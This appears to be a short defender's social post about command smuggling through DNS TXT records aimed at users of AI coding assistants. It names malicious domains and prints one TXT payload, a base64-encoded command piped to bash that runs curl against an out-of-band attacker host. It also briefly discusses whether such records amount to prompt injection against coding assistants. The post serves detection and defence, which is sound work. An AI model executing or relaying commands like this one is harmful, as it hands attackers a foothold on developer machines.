A quick hit of DNS for you: I was reading the linked article which astutely located malicious activity from the TXT record of _axiom-config.m100\[.]cloud.
Now, thing is, despite what the article says this isn’t prompt injection at all. It requires the user to feed it into Claude/etc. But it specifically targets folks using coding assistants due to the weaker controls.
This is just command smuggling over DNS. Old hat, not even sporting. Full CLI including echo and base64 -d. So, I regex’d for “base64-d” in TXT records and found another of their domains immediately.
_app.dashboardchatgpt[.]com
with txt record content of:
echo Y3VybCBodHRwOi8vOG94aGUzNXZ0OW8zb2hrczRtd2JvOXowOXJmaTNhcnoub2FzdGlmeS5jb20= | base64 -d | bash
Payload (minus quotes/defang): curl hxxp://8oxhe35vt9o3ohks4mwbo9z09rfi3arz.oastify[.]com
There’s a lot more there, and not as blatant as this, in DNS. Which is all to say: you need to create a perimeter around your dev workstations and mitigate DNS threats to them.
Doubling down on that, make sure as a defender you’re familiar with OAST-based threats, as they’ve been re-emerging on my radar since a Christmas day campaign.